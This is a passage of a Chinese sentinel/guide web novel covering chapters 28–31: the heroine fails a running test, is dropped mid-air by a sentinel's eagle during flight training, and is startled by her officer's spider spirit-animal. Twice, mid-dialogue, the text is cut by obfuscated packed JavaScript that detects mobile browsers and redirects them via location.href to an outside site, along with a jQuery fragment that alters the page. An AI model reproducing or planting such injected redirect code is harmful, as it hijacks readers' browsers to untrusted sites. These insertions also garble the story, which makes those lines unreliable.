形态各异的鸟类从悬崖的边上飞下,在空中划过,那场面肯定很有意思,她实在抵抗不了这种诱惑,点头答应,又回头看向卡尔,她还没开口,对方先点头了。 卡尔:“我跟你一块去。” 她再看向解逸飞,男人并不介意多一个旁观者,于是这件事就这么愉快地决定了。 进入营地,分外安静,路上行人寥寥,只有无处不在的傀儡。一阵收拾,晚训后,伴着月夜回到宿舍,一番洗漱。 两人躺上床,克拉拉还没回来,她每晚都要加训。 三人聚齐,吴可向她两分享了模拟演习的消息,并告知她们也要参加,没露出半点恐惧,全是摩拳擦掌的兴奋。 克拉拉:“嗯。” 徐珊珊点头,“我也听说了,我们应该都要参加。” 周六上午,教导员突然宣布要进行多项体能考核。 短跑冲刺,她还能勉强及格,这得益于结实发达的大腿肌肉,妈妈生的,她从小爆发就强,但下午的长跑就难了。 当天下午,她紧张地等待,但测完各个项目,都没轮到它,时间流逝,进入尾声,众人坐在阴凉处休息,她甚至怀疑今天不测试了,心中暗喜。 但这是不可能的,眼见着只剩半小时,教导员将众人喊起来,集合后,向她们宣布了模拟演习的消息,大家都需要参加,最后是长跑考核。 教导员:“今天是检验成果的日子,” 热得碎发贴着后颈,她宣布将进行三公里考核,及格线是十八分钟,要求不高,但对于缺乏运动的人来说,比如她,就显得格外艰难。 教导员指着最外侧的宽敞道路,“沿着这条路,经过大门,绕着营地跑一圈,回到这儿。” 她说完后,没给多少时间,人群围在起跑线后,前前后后站了几排,随着一声哨响,第一排的人迈开腿,往外冲,跑姿轻盈。 吴可站在后排,离她很近,起步前,她看了过来,鼓励道:“加油,我在前面等你。”紧接着快速起步,并迅速加速,冲向前排。 和克拉拉不同,对方是长期艰苦训练,而吴可受益于精神体,敏捷拉满,不仅速度快,耐力还强。她从一个个人身边穿过,成功地实现弯道超车,毫无压力地跑在前列。 而她像一辆沉重的坦克,脚步砸在地上,从一开始就落后别人一截,看见克拉拉一骑绝尘地领跑,而她与倒数第二的距离也在逐渐拉开。 傀儡的身体朝向她们,观察、监督每一位向导的行为。 嘴边张开,她加大吸氧量,望着遥远的转角路口,头脑放空,身后传来教导员的动作指导,给她加油打气,但顾不上了。 她喘着粗气,最起码得给她一个月吧,逐渐再无精力思考,只有本能地抬腿向前。 哨兵们的确早等在营地门前,台阶之上,人群聚在拦线外,台阶之下,数辆豪车停在路边。 第一个向导从左侧冒出头,银色长发被太阳染上金片,发尾摇荡,她有条不紊地跑过,门外赫然传起一阵欢呼声,而她根本没分神,只往前跑。 遥远的呐喊传来,一阵接着一阵,徐珊珊又羞又耻,她咬紧牙根,顶着压力保持速度,至少不要落太后,否则以为结束了,她才出境,也太尴尬。 熟人都看着呢,她抿着嘴,早知这样,就不让他们来了。她浑身是汗,每次抬脚都觉得胸口要爆炸,但还是坚持,哄着自己再跑到前面的那棵树,接着是下一棵树。 身影斜长,她即将到门口,又加紧了脚步,不想落后太远,尽管此时小腿已经沉重得像灌了铅一般。 路过门口,听见一阵稀稀落落的欢呼声,徐珊珊逆着光看去,视野上下晃动,看不清是谁,微微侧过脸,继续往前,感到有些难堪。 她是最后一名。 汗水溅在地上散开,这项考核必须完成,哪怕是不及格,她也得继续迈步向前。 她不知道的是,站在门外等待她的人有很多,她想到的,想不到的,全都在现场,注视着这一幕。 又过去了几分钟,一道哨声响起,第一名抵达了终点。 解逸飞见她太吃力,俯在洛朗的耳边低语。于是,蜜蜂兄弟逆着人群,走到不惹人注意的地方,偷偷释放出精神体。 已经有人结束了,她还只跑完一半。 还有相当漫长的另一半,前方的人,背影逐渐消失在视野中,她甚至加快了脚步,提升速度,她竟然还有这样的力气。 徐珊珊对此感到惊讶,与之相对,她的速度变慢了,甚至比走路快不了多少,没多少力气抬手、抬脚。 “嗡嗡——” 这是翅膀高频颤动产生的声音,视线前方突然出现了两只小蜜蜂,悬停在不远处,扇动着两对薄如蝉翼似的翅膀,触角和三对足垂下,腹部布满黄色绒毛,飞行速度不快。 像是在领跑,又像是鼓励。 “洛朗、洛伦斯,”她念出两人名字,因为喘气而断断续续,她有预感,不及格已经是必然的结果,她在长跑中的表现向来不好。 本来失落又难过,但看到陪伴、支持她的人,又觉得挫败没什么了不起。她还有时间,可以慢慢练,这样哪怕以后到了污染区,也不会拖后腿。 大概在最后一百米,它们没有再跟上来,傀儡紧盯着她,不知道它是否发现了偷溜进来的蜜蜂,又是否会检举。 最后的这段路,她得一个人跑完。 道路尽头,有的人在慢悠悠地行走,有的人扶墙,身旁有人递水。 教导员身旁站着室友,数着秒表,听见脚步声,两人抬起头:“加油!” 能看见终点,她的动力更足了些,四肢摆动的幅度加大,迈出更宽的步伐,速度加快。终于,她跑过终点线。 手摁下计时,教导员读表:“十九分四十秒。” 不及格,她还没沉浸在失落情绪中,就被吴可拍了拍肩膀,双腿发软,差点没给她摁到地上,往前倒的时候被克拉拉抓住。 “你,”她回过头,看见吴可一脸愧疚,连指责的话都说不出来,张着嘴,最后却露出一个笑容,“哈哈。” 三人对着笑了起来,徐珊珊边笑边问,“你笑什么?” 吴可:“不知道,我就是看见你笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977227|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也想笑。” 一直到她笑到小腹抽抽,捂着肚子,不再走动,摆了摆手,“我不笑了,我不行了。” 没过多久,教导员再次吹响口哨,集合后,感受到嘹亮的喊话:“长跑训练是为了培养身体素质、耐力和意志力,提升你们遇到危险,躲避的能力。” “总有人说:‘向导有哨兵保护,不需要训练。’但我不这样认为,战场情况变幻莫测,他们会优先保证向导的安全,但并不意味着,没有落单的可能。” 教导员的目光落到后排的克拉拉身上,“我并不是说,要每一个人都像练成他们一样,肩宽腰圆,力能抗鼎,只是希望大家重视这方面。” “这一届有非常优秀的向导,三公里能跑进十分钟,甚至不输一些哨兵。” 教导员的目光从她身上略过,“还有一些人身体素质较差,但也不要灰心,只要坚持,一定能够超越从前的自己。” 感觉在点她,徐珊珊还是嗓子有些痛,咽了咽口水,教导员在上面宣传她的理念,但并不是所有人都认同,有人不置可否地摇头。 响铃逐渐盖过了教导员的音量,她看向大门方向,宣布队伍解散。众人拍掌回应,人群散开,三三两两走回宿舍。 徐珊珊换上常服,转身却发现克拉拉没有动静,她又开始坐着打坐,周身发光。 她和吴可对视了一眼,忍不住问:“你不出去吗?明天休息。” 吴可:“对啊,这儿什么也没有,无聊死了,你的哨兵也在外面等你吧。” 但两人并没有说动她,克拉拉似乎打定主意留下来,掏出光脑,发短信要让他们回去。 吴可一把握住她的手腕:“你可不要因小失大,马上就要模拟演习了,与其加训,还不如好好和队伍熟悉一下。” 她翻出公告,“你知道比赛的赢家有多少奖励吗?”指尖一行行滑过,“分为多组,每组的前十六名都有奖励,你看看前八名有多少。” 望着奖金栏下,尤其是前三名的那一串零,克拉拉终于动了,她松开盘着的双腿,站起身,伸手掀开上衣,露出雪白结实的腹部和一体的运动背心。 秉持着非礼勿视的原则,在她脱衣服时,徐珊珊就移开了眼,最后三人是一起离开的,只不过通过检查口,大家还是分道扬镳,挥手说再见。 人群攒动,他们全都打扮得耀眼,把这儿衬得像时装秀现场,站在空地四处张望,竟一时分不清谁是谁,直到一双微凉的手握住她,“走吧。” 她抬头一看,是长官,还有卡尔,三人穿过人群,来到人少的十字路口。路边站着夏广礼和解逸飞,见她出来,走上前。 徐珊珊:“长官,我和他们约好了……” “去吧,”山昊松开手,“两位队长会好好照顾你的。” 夏广礼:“当然。” 解逸飞:“她跟我们在一起,请您放心。” 怎么和她想象得不太一样?她还没来得及解释呢。 没多说话,他们要在太阳落下前上山,夏广礼牵着她离开了。 路边停放着一辆大巴,车门打开,她走上车,往里看,许多人纷纷冒出头,喊着她的名字。 她也张开手挥舞:“你们好呀!” 她坐在前排右座,夏广礼自然地贴着她,坐在外面,解逸飞则落座于两人之前,帮助驾驶员看位置。 “嘎——”清脆拉长的叫声。 哪来的鸭子?不,是游隼!她低头看向夏广礼怀中的精神体,笑着把它抱到怀里,猛禽多是嘤嘤怪,声音和外形反差太大了。 十字路口,望着大巴车消失。 山昊也驾车离开,他坐在主驾驶位,意外地在看见两位熟人,猫科联队的队长阿瑞斯,和犬队的“老队长”曼努埃尔。 他两能凑到一块,属实让人意外。两队素来不和,连带着底下的哨兵也互相敌视,如此“不计前嫌,”看来是有更要紧的事。 可惜他们要等的人已经被别人接走了,先来后到从来都是如此重要。 29. 第 29 章 乘车上山,道路平坦,视线开阔,转弯时,窗外就是山坡,让人心悸。半山腰,对岸有瀑布,下方淌着一条清澈的河流。 最后的路要步行,石壁之间有条窄道,走出狭口,左侧枝叶茂盛,投下碎影。 解逸飞打前,游隼站在右肩,她的左手被夏广礼握住,身后跟着其他哨兵。精神体被放出来,惊起群鸟,飞离此处。 精神体种类繁多,不仅有各类猛禽,还有被誉为“雀中猛禽”、“屠夫鸟”的带刺植物推广大使——棕背伯劳。 它们站到树梢,侧头注视,每过一阵,就展开翅膀,跃到另一棵树巅,仿佛在为他们保驾护航。 伯劳占了好位置,离她直线距离更近,就有别的鸟,从上分落下,爪子伸出,欲要落在邻近处,它拍打翅膀,用尖喙驱赶,可惜体型不够大,无法独占这根树枝,邻居不为所动。 左侧是长尾的喜鹊,身体修长,除去肩羽和腹部杂白,其余部位发黑,闪烁着蓝绿色金属光泽。右侧是乌鸦,明显大过它们一头,通体乌黑,叫声低沉嘶哑。 鸟类搏斗让树梢摇晃,这是场不公平的对决,二者一同攻击霸道、勇猛的伯劳,它只能扇翅上跳,但它并不畏惧,三鸟混战开始。 她驻足观望,让夏广礼也跟着停脚。 昆虫们赶来,还没靠近,先被游隼发现了。她肩上一沉,随后疾风扇耳,转头见它飞向前,悬在空中,不断鸣叫驱赶靠近的精神体,对方视若无睹。 横纹毛腿下,黄色的脚端,锐利黑爪张开,就要向它们冲去。夏广礼忙将精神体收了回去,无意造成两队冲突。 连徐珊珊都吓了一跳,幸好最后终止了,看来有时精神体也会有自己的脾气。 蜜蜂身体圆润,胡蜂体型更大,鸟翼凤蝶的羽翼有她巴掌大,但往她飞的过程中逐渐缩水,翼膜上渲染着斑斓的蓝绿色,从黑色斑条过渡,有游弋变换的金属光泽。 她能认出来的,还有锹甲和兜虫,两食素战神,前者横向长着两只粗壮的大鳌,后者竖向长着头角和胸角。起飞时,鞘翅举起,藏在下方的折叠后翅展开,快速振动飞向空中。 它们靠近时声音不小,夏广礼用手挡着,蝴蝶和蜜蜂就算了,那只巨扁锹虫也往她身上凑是什么意思?它难道不知道自己足间长齿,力大得能勾进肉里。 这么多树都不够它爬了,非要往向导身上落?又看见安静隐匿在树梢间的猛禽,还算老实。 夏广礼:“解队,你的队员真有活力。” 他挥手甩开那些虫子,解逸飞驻足转身,听语气就知道不对,等到二人,让开位置,自己殿后。 解逸飞制止了一些人试图靠近的行为,至少现在还不行。 面对蜜蜂、蝴蝶环绕的场面,她很高兴,这些小精灵距她不近不远,翅膀闪耀亮眼,伸手让它们停在指尖,一定有更大的用途。 抵达山顶,一片上倾草地,往下看,房屋渺小,道路迷你,像沙盘模型。腰被揽住,双手紧握,她才敢从边缘往下看,刻进基因的恐高,内心恐慌。 准备时间,她坐在躺椅上,见它们展示才艺,悠扬婉转的歌声、绚丽羽毛、复杂的求偶舞……她对每一只靠近的小鸟放彩虹屁,甚至还有兴致玩“击毙”游戏。 训练正式开始。游隼从崖边跃出,盘旋升高,然后收缩翅膀,腿收平,向下俯冲,速度极快。下方的鸟发现后,灵敏地扭转身体,将腹部朝上,朝上伸爪防卫。 高空盘着数只鸟,平飞时还能看清,视线跟随着飞行轨迹,不久就有落败的选手,头朝下地栽下去。 陌生男人悄然靠近,好像是一队的队员,不太熟。他俯下身,鼻梁高挺,一侧眉顶落下灰色直发,角雕停在肩膀,弯喙向下,侧面纯白,羽毛层层叠叠,头冠向后伸。 “想和我玩个游戏吗?” “什么游戏?”她仰起头,看向那只猛禽,对方转头,她震住了,这正脸,将帅气两字咽了回去。 谢攀:“跟我来。” 游隼在高空盘旋,解逸飞见两人要一块,不太放心,也唤出精神体,两人来到崖边,丹顶鹤先飞起来,悬在空中。 两人并排站着,角雕跳到地面,然后离开山顶,张开翅膀,翼展超两米,往远处飞,在飞行的过程中逐渐增大体型,身体侧倾,调整尾羽,转了个弯,朝她而来。 她紧张地想抓男人的手,他却松开了,她惊讶地看着巨大的角雕朝自己冲来,脊背一凉,粗长锋利的爪子张开,落下一片阴影。 她的腰部一紧,整个人就已经悬在空中,皮质马甲勒腰,她当时不明白为什么,直到现在,才知道是为了给钩爪提供落脚点,防止穿刺伤。 从最初的惶恐,到逐渐放松,和在鸟背上的感觉不同,受力点全部在后背,面部朝下。她可以扒腿直立,但比起这个,更想张开手脚,比成“大”字形,大叫宣泄压力,她也的确这么做了。 角雕低下头观察,见她不惊恐,向上攀升到一定高度后,松开了爪子,停止扇动翅膀。 下落让她很兴奋,随着速度越来越快,逐渐有些恐慌,后背支点消失,她转头向后看,才发现角雕的粗大爪子离自己越来越远,这次是货真价实的尖叫了。 “啊啊啊!!!” 从一片云雾中坠落,掉在了瓷实的背部,她甚至弹了弹,差点顺着脊背再次翻滚下去,因为恐惧,下意识地抓紧了背部的羽毛,还扯掉几根,丹顶鹤被扯痛了,却没叫出声,它翅膀宽阔,只是平稳的往下滑翔,甚少扇动。 吓死她了,她缓过神后,仰面朝天,手指挡在面前,透过指缝看见角雕越来越大,还朝自己来,忍不住提醒:“队长,他来了!” 她翻过身,往上爬,直到搂住肩部,能从上方卡住,这样在大角度倾角也不至于抓不住,掉下去。 它越来越近了,速度也更快,巨大的爪子离她仅一米之远,但一道疾风从斜上方飞来,她甚至没看清,只见到羽毛扑腾,角雕翻转了身体,经受冲击,好似没受多大的伤。 他们不是孤军奋战,鸟群汇聚在丹顶鹤身后,呈现人字型。它引发了众怒被围攻,尖爪、利喙,无法近身的就扰乱气流,干扰飞行。 她可以说暂时逃脱了危险。 角雕并不甘心,被你一嘴我一脚的攻击,鸟群之中,它逐渐下重手,爪子勾进体内,没逃开的受了伤,直直下坠。 山顶上,有人闷哼一声,捂着胸口倒下,解逸飞走上前,拉住灰发男人,“够了,这只是训练。” “我知道,解队,这是训练。”他将胳膊抽出来,“那又如何?只要他们别妨碍我,我自然不会伤害他们,你也一样。” 解逸飞:“你这样做太危险了,会吓到她。” 谢攀:“我不这么认为。如果你们别插手,早就结束了。”他打定主意向对方展示自己的飞行技巧,被人干扰,也不介意展露实力。 游隼一次俯冲袭击不成,又慢慢攀升高空,寻找下一次机会。 角雕靠近了,只是一番折腾,不像最初那样,充满力气,她看着那双爪子,充满绝望,知道对方今天是牟足了劲,相让自己体验自由落体。 高空抛物是犯法的,抛人也是!她觉得这只鸟需要好好地教育一下。 它没有恶意,否则爪子直接把她给捅穿了,只是不明白这恶趣味,但其实只要放轻松,还是没那么吓人,因为她知道,他们最后会接住她。 它可能是想玩自由落体,然后在坠毁前接住,一同减速,最后触底前反转飞行方向的游戏。 徐珊珊:“我还是自己下去吧。” “解队,你们这飞行训练太吓人了,我下次不来了。” 察觉到她准备松手,耳麦里传来夏广礼的声音,“珊珊,别闹,抓紧它。” “你能接住我吗?”她的头伏在羽 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“是达伦队长,你就在他背上,不要乱动。” 果然是陌生人,她又听见噗嗤一声,是爪子穿进肉中的声音,饶是她也为那人捏了一把汗,两人确在游戏,但对方教训队员,她也不好插嘴。 盘旋一圈后,稳落山顶,金雕松开爪子,奄奄一息的角雕侧躺在草地,瞬膜覆盖眼睛,半天回不了神。 氛围远不如来时和谐,虽然还有音乐、鸟鸣,但许多人受伤地躺在一旁休息,其中就包括那位声称要和她“玩玩”的哨兵。 很明显金雕的主人并不在此处,当它落地时,就没有空中那么潇洒了,沉重的爪子让它行走的姿势有些滑稽,一眼看见躺着的谢攀。 达伦知道他向来好斗、凶狠,仗着自己体格粗大,但没想到自己离开的时候,敢这样肆意妄为,违逆副队的命令,这不是一位合格哨兵的所作所为。 和人同高的金雕站在他面前,脚掌放在男人的胸口,对方奄奄一息,被锐利的双眼紧盯着,还得识时务地认错、道歉:“队长,我错了。” “呃!” 她视线一黑,被人捂住眼睛,搂在怀里,于此同时,惨叫声响起,不满地扒手指,扯不动,等她再睁眼时,那人已经被抬走了,缠上绷带,地上泼血,仍然触目惊心。 回程路上,受伤的哨兵被转移到救护车,送往救治中心,此起彼伏的低嚎,虽然不响,却给人一种精神折磨。 大巴车里,夏广礼仍然坐在她身旁,揽住她的肩膀,两人紧紧相靠。路边站着一位陌生男人,他登上车,越过她,往里看,解逸飞起身,打招呼:“达伦队长。” 达伦:“你好。”他将视线转过来,“这就是徐珊珊向导?” 她刚想站起来,被夏广礼按住手,于是回正身体,靠在椅背上,仰头望着,“你好。” 夏广礼站起来:“队长,我们邀请向导小姐一起参加飞行训练。” “嗯。”男人的目光在夏广礼身上停留了好一会儿,才平淡应下,坐在第一排内侧。三座山一样的身躯坐下,她才真正的放松下来,嘴角悄然落下。 他们本打算先送她回白塔。 但徐珊珊决定不回白塔,她给长官打了个电话,打算周末继续打扰他,总觉得,有点留下阴影了,还是长官那儿更有安全感。 夏广礼:“你在空中惊慌失措的样子,很可爱。” 她直接恼羞成怒地抽出手,去捏男人的脸颊,往下拉:“你还好意思说?” “差点吓死我。” 她松手的时候,皮肉弹回脸上,一片通红,男人重新握住她的手,安抚似的轻拍,“别担心,这都很常见,他们会没事的,这点小伤不算什么。” “嗯。”她的声音很轻,流露出此时低落的心情,送进医院也太严重了,听了这话,稍微放下心。 30. 第 30 章 大巴像泥头车一样从黑夜里窜出来,车头灯照亮中央分隔线,驾驶员踩下刹车,轮胎与地面摩擦,乘客身体前倾,抵达目的地。 车门开启,车厢灯亮起,男人起身让位,她站起来,解逸飞和达伦都在马路边观望,大巴车尾的红色示廓灯、闪光灯和后位灯都开启。 “小心脚下。”夏广礼牵着她的手,两人下车,送到门边,她将手抽出,转身和他们道别,天一黑,他们的模样看得就不清晰。 房门合拢,男人们才逐个往回走,她趴在窗户边看,见车背慢慢离开,重归黑暗。 光脑上传来消息:【我很晚才回来,不用等我,早点睡。】 长官又要加班,虽然才是第二次来,她一点也没有客人的拘束,直走向二楼卧室,推门进去时,机器人正在更换床单被套。她简单地洗洗睡了。 凌晨一点。 山昊踩着月光踏进院子,整栋房屋还留着一盏小夜灯,光从二楼的窗户里透出来,窗帘没有合拢,隐约可以看到里面裹紧的毛毯。 一只飞蛾被光源吸引,扑在玻璃上,但窗户封紧,哪怕是留有空隙的地方,也布上了纱网,它分不清自然平行光和人造点光的区别,以为有月亮作为参照物就可以万无一失。 门开后,一盏盏灯此地亮起,室内陈设映入眼帘,又仿佛有数个重合的画面叠在视野中,她躺在沙发上,从餐桌的这头走到那头,脚踝交叉地坐在椅子上,倚靠在墙边低头。 山昊将红色锦旗放在桌上,走到卧室前,在门边探头,看了一眼,四处观察,没有问题,回到书房继续办公。 她的来访超出他预料。 男人取出沉重的方盒,输入密码,展开后,是两份密封的档案袋,解开系绳,视线聚焦于纸张上的文字,这是安放污染物、下毒事件的罪犯资料。 多名哨兵和一位向导,很容易还原作案过程,但无法理解动机,他们没有理由这么做,风险极大,且注定失败,是什么蛊惑了他们,犯下这样的罪? 连续熬夜,他身体疲倦,思绪也慢半拍,摘下眼镜,揉压晴明穴,松开紫色领带,将它挂进衣柜,解开衬衫纽扣,换衣服躺上床。 夜深人静,没有新消息,但他睡不着,隐患挑战着他的神经,任何暗地里的危险都无法接受,索性坐起来,草拟了一份安全预案。 他有意让她和别的哨兵接触,特别是值得信任的队伍,但当事情真如他所愿的发生,又莫名不适,难以忍受她的目光为他人停驻。 无论谁怎么想,时间都会流逝,太阳照样升起。 光线撒进室内,刺耳叫声轰得头震,他睁开眼,窗框被铺上金色。破天荒的,没有被生物钟唤醒,甚至错过了闹钟。 半睡半醒时听得模糊,又一道女声传来,耳尖微动,他听清了,在呼唤他,掀开被子就往外跑。 “长官!” “长官!” 徐珊珊缩在床根,两脚踮着,手中抱着枕头,用一角对着沿着床单往上爬的小毒物,一只蜘蛛,它比排球还大。 她刚睁开眼的时候,发现自己不知不觉变成趴伏的姿势,换了个姿势,背对着窗口,想再睡一会儿。然后她撞见,两根尖棍一样细长步足探在空中,关节发红,边缘还附有刚毛,中间两只螯肢往里伸动。 凉意透心,她一下子清醒了,身体爆发出强大的力量,脚往前蹬,人往后蹿,床单滑动,枕头飞落,那蜘蛛抓力也牢,跟着落到床沿,往下掉时还会嗦丝。 她下意识地抄起手边能拿到的东西,却发现没什么趁手的,太短了,它颜色那么鲜艳,配上这体型,比老鼠更恐怖。她瑟瑟发抖地抱住另一个枕头,想着它要是靠近就摁下去憋死它。 蜘蛛每次靠近,她就拿枕头抖落床单,直到大半边床垫都露出来,但它还是乐此不疲地往这里爬,她害怕得不行,看向房门,下一秒直接扔了枕头,奔向门口。 门锁,两道门锁,早知道不锁门了,不知道到底是防住了谁,她着急忙慌地一边开锁,越是心急越是手忙脚乱,抖着手,往回看,它不往床上爬了,又调转方向往她这来。 她这才想起,房子里还有另一个人,扯着嗓子开始喊:“长官!” “长官,你在吗?!” 越来越近,终于将门栓取下来,她也越叫越大声,还幻想着,可能是自己又被小蘑菇误伤了,直到脚趾传来真实的触感,门把手拧开,重重地将门拉开,往外扑出去,一下子弹了两米远,远超跳远记录,像个青蛙一样趴在地上,不敢往后看,手脚并用地往楼梯跑。 男人从门里出来,身上穿着家居服。她刚要滑下楼梯,就被抱住了腰,还以为被抓住了,又发出一声尖叫,但触感不对,直到听到叹息声,才卡壳似的转回头。 “长官,”她小声问候,对方眼底发青,有些凹陷,一副长期熬夜的样子,手撑在肉感大腿上,想要钻出来。 “别动。” “好,”好像有什么地方不对劲,但这不重要,她极快地忽略了两人的肢体接触,转而回头看,指着卧室:“有只好大的蜘蛛,毒蜘蛛,你看见了吗?” 她不确定自己是不是又被精神体祸害,语气不太有把握。 话刚说完,蜘蛛就从门口爬出来,女人瞳孔放大,汗毛竖立,手和脚都挣扎起来,在怀里很不老实。 “那是我的精神体。” “啊,你的精神体?” 她重复这句话,突然意识到其内涵,顿时放松,手脚垂软,“你为什么要让它进我房间?” 山昊:“这是我的住处。”也是他的领地,但从未见过它私自跑出来。 “它趁我熟睡,松懈的时候偷跑出来。吓到你了,我很抱歉,你可以和我提补偿。” 她一直扭头,脖子有点酸,总是这么个姿势也不是办法,“不用了,长官,你能先把我放下来吗?” “好。” 男人卸力,她才一手撑着楼梯把手,一手抓着腰,将自己调整成直立站姿。 “那我刚刚,你都看见了?” 山昊:“嗯,你跳的很远,应该能拿良好。” 现在是关注这个的时候吗? “好吧,”她回头看了一眼,出于刻在基因里的恐惧,没敢像对其他精神体一样上手摸,装作若无其事的样子,走下楼梯。 “你不喜欢蜘蛛?” 男人的话让她停下脚步,它停在一双拖鞋旁,与外露的脚趾近在咫尺,乖巧地歪头,看着她,两队螯肢上下舞动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004345|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知道想表达什么意思。 精神体从某种程度上和本人相连,她轻咳了一声,“没有,我是有点饿了。” 她转手就把小蘑菇给叫醒了,前天它从解逸飞队长那里好好地吃了一顿,导致昨天干活都没力气,到现在才恢复大半。 白粉色的伞盖上还留有墨点,养菌前日,用菌一时,小蘑菇,上! 它被放在瓷砖上,还在发呆,另一边的黑寡妇蜘蛛已经在结网了。死道友不死贫道,“你们玩,我去弄点吃的。”说完,徐珊珊就毫无愧疚地溜了。 走下楼梯,再往上看,它浑身已经被裹上了蛛丝,蜘蛛的腹尾喷丝,第四对足舞得飞快,很快,白色线团里只露出一个尖,小蘑菇终于反应过来了,想跳出来,很可惜,太黏了。 长官好像全神贯注地盯着两精神体,就像观察某种实验现象。她没什么感觉,对方应该没使用毒腺。有他看着应该没事,手握成拳,她暂时没有勇气去摸一只毒蜘蛛。 来到客厅,她被桌子上的浓郁色彩吸引了,正红色绸缎下有金色流苏,这是什么?她好奇地走近,提起来,翻到正面,金灿灿的四个字:白塔之光。 嚯,领导的锦旗,她认同这个表彰,但绝不效仿,正准备将它放下,却听见后方传来男声:“这是别人送你的。” “啊?”首先是疑惑,手中的布料一下子变得沉甸甸,她扬起嘴角,嘴里却说:“怎么可能,我又没干什么。” “谁送的?” 山昊:“你治疗过的鳄队哨兵,为了感谢你,帮他分解污染。” 她记起来了,没想到对方看起来反应很慢,却这样贴心,“这是个好小伙,你看,其他人都没送,就他送了。” 山昊从“盘丝洞”走下来,鞋边染上蛛丝,需要用力抬脚,见她满脸雀跃,打算不告诉她真相。 虽然她提前说明,但大部分人,仍会把这行为视作某种暗示,只是碍于某种原因,不能明说。他们坚信这是爱情萌芽,只是其中有阻碍。 只有这位哨兵认为她的意思就是字面意思,觉得她舍己为人,很了不起。这其中有很大的误会,虽然从结果上来说是好的。 山昊:“没有武器的情况下,逃跑是对的,你的精神体能够致幻,你可以趁机跑。” “嗯。”她记下了,看在丝网里被裹得水泄不通的精神体,她很怀疑它发现后,跑得会比她还快。 “昨天你们考核?” 提及考核,她将爱不释手的锦旗放下,语气低落:“我跑了最后一名,不及格。” 山昊:“你在塔内很安全,出行都有人保护,不会有逃跑的时候,何必在意跑多快?” 她摇了摇头:“万一他们不在呢?” “就像今天早上,万一你不在,房子里又进其他蜘蛛,或者别的虫子、坏人。” 山昊:“那就别让意外发生。” 听长官原来这么想,她眸光一暗,简单解释:“我不想做最后一名。”她说完就转身往厨房走去,没看见背后男人欣慰的笑容。 “那你要做好准备了,结营的时候,还会有一场考核,不仅是身体素质,还有实战对抗。” “除去真人对战,你还需要亲手消灭一只污染物。” 31. 第 31 章 她很快接受了这个安排。 虽然上辈子连一条鱼都没杀过,但这里,每个人都要有战士的基本素养,她总会出塔的。 他们也算是用心良苦,传授各种生存技能。 徐珊珊打开燃气灶,锅中倒水,开始加热。 冰箱开启,寒气外冒,冷冻室,整齐码放着相同大小的保鲜盒,贴有各色标签,好奇地抽出来,开盖时还使了点劲,里面全是白面包子,顶部捏有褶皱。 本打算找鸡蛋、青菜,配面吃,无意中找错了地方,索性吃速冻包子,正要将盒子取出,传来男声。 “点餐让人送来吧,家里没什么菜了。” 男人站在门边,露出半身,似乎只是提议,她犹豫了一下,翻开另一个柜门,猪肉、猪皮冻、葱姜蒜…… 储物柜中多出一根擀面杖,看来他最近迷上了面食。合拢柜门,将保鲜盒从冰格里取出来,“这儿有包子。” “它们的味道可能还不够。”还有进步空间。 “没关系。” 标签的上面标着日期,近几天的,“不用点外卖了,我就蒸点包子吃。”它们被分隔开,没有冻成一团,取出一盒,放上蒸笼。 “你要吃吗?” “……嗯。” 她又多取了几份,放上电蒸锅,哨兵的胃通向异次元,和蟒蛇一样能吞。 电器上有贴纸,时间、火候都标注好,时间上有一道划线,人为改了数字,应该是从实践中吸取了经验。 长官走进厨房,熟练地取材、清洗、切碎,调配了两种蘸水。身影忙碌,似乎还要做点别的。 玻璃盖内汇聚水珠,肉香逐渐从出气口散出,蒸笼里,小笼包底部,汤汁将薄皮撑圆,另一处放置的是实心肉包。 她视线朝外,发现什么东西从二楼栏杆处落下来,仔细一看是蜘蛛,它一边喷蛛丝一边往下降,自由地控制自己的速度。 没看错的话,小蘑菇被裹起来悬在头顶,两个一起缓慢落地。 蜘蛛用口器咬开紧黏在一块的蛛丝,将它放出来。即使没有蛛丝的束缚,它也并未逃跑,反而活跃地蹭来蹭去。 接下来的一幕更让她惊讶。 蜘蛛沿着蛛丝往上爬,不断从腹部末端的纺器中喷出新丝,而小蘑菇就跟在后面,因为有些黏脚,就慢一些。 它也想往上伸展菌丝,但毕竟是自身的一部分,不能喷到三米高,最后还是收回来。 “叮——” 加热结束,她帮忙端盘子,放在桌面,她先垂涎的那盘,被男人挪至面前。筷子搭配汤勺舀起来,先是咬破皮,吸入汤汁,最后才蘸酱汁吃。 徐珊珊:“这个好吃,你也吃。” 男人摆手推拒:“这是请教了一个师傅,他教我的。”接着阐述要诀,关于原料、步骤中的细节。 她也没客气,全吃完了,筷子又伸向生煎包,男人却突然抬头,“它没揉透,口感不太好。”这是刚开始做时的成品。 她不太在意,夹起来吃了一筷子,不太松软,味道也还行,油煎焦底和软面团,一脆一软丰富的口感,芝麻增添香味,汤汁鲜嫩。 “这是你做的?” “对。” 徐珊珊:“比以前我在学校里吃得好。” 饭后是闲暇时光,吃饱喝足,打开电视,新闻报道,换台到娱乐频道。 男人回到书房接电话,房门合拢。 室内安静下来,风穿过窗户吹动纱帘,两个精神体也闹腾够了,相继爬上沙发,蹲在一块看电视,竟也十分和谐。 屏幕里的建筑模仿白塔,主演们穿着的制服也相似。看向右下角——《哨兵突击》第二十九集,名字像战争片。 